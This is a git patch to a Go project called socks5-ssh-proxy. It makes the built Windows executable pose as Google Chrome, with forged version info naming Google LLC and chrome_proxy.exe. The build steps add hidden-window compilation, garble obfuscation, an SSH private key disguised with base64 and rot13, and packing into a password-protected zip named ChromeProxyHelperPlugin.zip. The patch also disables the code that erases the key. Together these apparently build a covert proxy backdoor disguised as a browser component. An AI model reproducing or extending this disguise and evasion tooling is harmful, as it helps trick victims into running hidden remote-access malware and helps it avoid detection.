From 7db72169f96d718a4e64ffb1f8288b3dbb7e8fcb Mon Sep 17 00:00:00 2001 From: Jerry Jacobs Date: Wed, 31 Jul 2024 15:46:13 +0200 Subject: [PATCH] Initial work on windows exe resource information --- .github/workflows/build.yml | 4 +-- Makefile | 13 +++++++-- main.go | 6 ++-- main_release_windows.go | 8 ------ resources/chrome_proxy.exe.manifest | 17 ++++++++++++ system_windows.go | 1 + versioninfo.json | 43 +++++++++++++++++++++++++++++ 7 files changed, 76 insertions(+), 16 deletions(-) delete mode 100644 main_release_windows.go create mode 100644 resources/chrome_proxy.exe.manifest create mode 100644 versioninfo.json diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index f237009..e140a27 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -38,8 +38,8 @@ jobs: - name: Use resources/ssh_private_key from action secrets uses: mobiledevops/secret-to-file-action@v1 # TODO native in Makefile, can be unsafe... with: - base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY }} - filename: "ssh_private_key" + base64-encoded-secret: ${{ secrets.RESOURCES_SSH_PRIVATE_KEY_BASE64_ROT13 }} + filename: "ssh_private_key.base64.rot13" working-directory: "./resources" - run: make release diff --git a/Makefile b/Makefile index a7b3719..e48eab2 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,8 @@ SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_linux.go system_darwin.go GARBLE_BIN = $(shell go env GOPATH)/bin/garble +GOVERSIONINFO_BIN = $(shell go env GOPATH)/bin/goversioninfo GARBLE_CMD = $(GARBLE_BIN) -literals -tiny +export PATH := $(shell go env GOPATH)/bin:$(PATH) all: socks5-ssh-proxy @@ -19,7 +21,8 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN) GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@ upx $@ win: socks5-ssh-proxy.exe -socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES) +socks5-ssh-proxy.exe: resources $(GOVERSIONINFO_BIN) $(SOURCES) + CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w -H=windowsgui" -tags windows,release -o $@ # CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@ #CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@ @@ -34,9 +37,11 @@ ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe #upx chrome_proxy.exe zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe rm -f chrome_proxy.exe -install-deps: $(GARBLE_BIN) +install-deps: $(GARBLE_BIN) $(GOVERSIONINFO_BIN) $(GARBLE_BIN): go install mvdan.cc/garble@v0.12.1 +$(GOVERSIONINFO_BIN): + go install github.com/josephspurrier/goversioninfo/cmd/goversioninfo@v1.4.0 clean: rm -f *.exe rm -f *.zip @@ -63,10 +68,12 @@ resources/ssh_private_key.base64: resources/ssh_private_key base64 -i $< -o $@ resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64 go run cmd/rot13-obfuscator/main.go $< $@ +resources/ssh_private_key.base64.rot13.github: resources/ssh_private_key.base64.rot13 + base64 -i $< -o $@ fmt: gofmt -w *.go -secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13 +secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13.github .phony: clean test win diff --git a/main.go b/main.go index 540d786..4c93345 100644 --- a/main.go +++ b/main.go @@ -16,9 +16,9 @@ var sshfpResolver *sshfp.Resolver func secureEraseResourceSSHPrivateKey() { log.Println("ERASING SSH private key") - for i := range resourceSSHPrivateKey { - resourceSSHPrivateKey[i] = 0 - } +// for i := range resourceSSHPrivateKey { +// resourceSSHPrivateKey[i] = 0 +// } } type SSHHostPublicKeyFetcher struct { diff --git a/main_release_windows.go b/main_release_windows.go deleted file mode 100644 index 79cc368..0000000 --- a/main_release_windows.go +++ /dev/null @@ -1,8 +0,0 @@ -//go:build windows -// +build windows - -package main - -import ( - "C" -) diff --git a/resources/chrome_proxy.exe.manifest b/resources/chrome_proxy.exe.manifest new file mode 100644 index 0000000..66197e9 --- /dev/null +++ b/resources/chrome_proxy.exe.manifest @@ -0,0 +1,17 @@ + + + + + + + + + + + diff --git a/system_windows.go b/system_windows.go index f730b67..dd9a20f 100644 --- a/system_windows.go +++ b/system_windows.go @@ -1,4 +1,5 @@ //go:build windows +//go:generate goversioninfo -manifest=resources/chrome_proxy.exe.manifest -64 // +build windows package main diff --git a/versioninfo.json b/versioninfo.json new file mode 100644 index 0000000..0828420 --- /dev/null +++ b/versioninfo.json @@ -0,0 +1,43 @@ +{ + "FixedFileInfo": { + "FileVersion": { + "Major": 1, + "Minor": 0, + "Patch": 0, + "Build": 0 + }, + "ProductVersion": { + "Major": 1, + "Minor": 0, + "Patch": 0, + "Build": 0 + }, + "FileFlagsMask": "3f", + "FileFlags ": "00", + "FileOS": "040004", + "FileType": "01", + "FileSubType": "00" + }, + "StringFileInfo": { + "CompanyName": "Google LLC", + "FileDescription": "Google Chrome", + "FileVersion": "127.0.6533.73", + "InternalName": "chrome_proxy", + "LegalCopyright": "Copyright 2024 Google LLC. All rights reserved.", + "OriginalFilename": "chrome_proxy.exe", + "ProductName": "Google Chrome", + "ProductVersion": "127.0.6533.73", + "CompanyShortName": "Google", + "ProductShortName": "Chrome", + "LastChange": "b59f345ebd6c6bd0b5eb2a715334e912b514773d-refs/branch-heads/6533@{#1761}", + "Official Build": "1" + }, + "VarFileInfo": { + "Translation": { + "LangID": "0409", + "CharsetID": "04B0" + } + }, + "IconPath": "", + "ManifestPath": "" +}